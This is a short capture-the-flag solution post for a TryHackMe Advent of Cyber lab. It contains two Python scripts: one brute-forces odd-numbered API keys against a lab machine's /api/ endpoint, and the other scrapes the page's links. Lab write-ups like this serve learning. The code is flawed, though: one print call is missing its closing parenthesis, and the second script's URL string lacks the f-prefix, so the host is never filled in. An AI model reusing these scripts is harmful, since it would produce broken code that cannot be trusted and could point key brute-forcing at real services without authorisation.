My solution to the TryHackMe Advent of Cyber Day 16 challenge

crack-api-key.py

import requests

machine_ip = "10.10.83.105"
host = f"http://{machine_ip}/api/"

# Only attempt odd keys
for key in range(100):
    if key % 2 != 0:
        response = requests.get(host + str(key))

        # Only print the correct api key
        if "Error. Key not valid!" not in response.text:
            print(f"The correct api key is {key}"
            break
                 

get-links.py

import requests
from bs4 import BeautifulSoup

machine_ip = '10.10.83.105'
host = 'http://{machine_ip}'

# Returns the server response (i.e 200, 404, etc)
response = requests.get(host)

# Get and parse the html source code
html = response.text
soup = BeautifulSoup(html, 'html.parser')

# Print all links from webpage
for link in soup.find_all('a'):
    print(link.get('href'))